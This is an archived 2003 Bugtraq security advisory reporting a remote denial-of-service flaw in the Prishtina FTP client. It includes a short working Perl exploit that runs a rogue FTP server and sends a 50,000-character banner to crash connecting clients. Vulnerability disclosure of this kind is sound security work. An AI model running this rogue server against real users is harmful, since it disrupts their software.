bugtraq - Prishtina FTP v.1.*: remote DoS

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Date: Wed, 21 May 2003 20:58:51 -0700
From: D4rkGr3y <grey_1999@...l.ru>
To: bugtraq@...urity.nnov.ru, bugtraq@...urityfocus.com
Subject: Prishtina FTP v.1.*: remote DoS


-----BEGIN PGP SIGNED MESSAGE-----

###############################################################*
#          Damage Hacking Group security advisory
#                     www.dhgroup.org
###############################################################*
#Product: Prishtina FTP v.1.*
#Authors: G.Syla [www.prishtina-soft.com]
#Vulnerability: remote DoS
###############################################################*

#Overview#------------------------------------------------------#
Just ftp client..

#Problem#-------------------------------------------------------#
It's possible to crash ftp-client by sending long ftp-banner to
it.

#Exploit#-------------------------------------------------------#
#!/usr/bin/perl
use IO::Socket;
$host = "localhost";
$port = "21";
$server = IO::Socket::INET->new(LocalPort => $port, Type =>
SOCK_STREAM,
Reuse => 1, Listen => 2) or die "Couldn't create tcp-server.\n";
$data = "A";
$num = "50000";
$buf .= $data x $num;
while ($client = $server->accept()) {
 print "OK";
 print $client "$buf\n";
 close($client);
}

#wow#-----------------------------------------------------------#
%$#@ www.dhgroup.org -=> opened English version! Come on in :)

#eof

Best regards               www.dhgroup.org
  D4rkGr3y                    icq 540981

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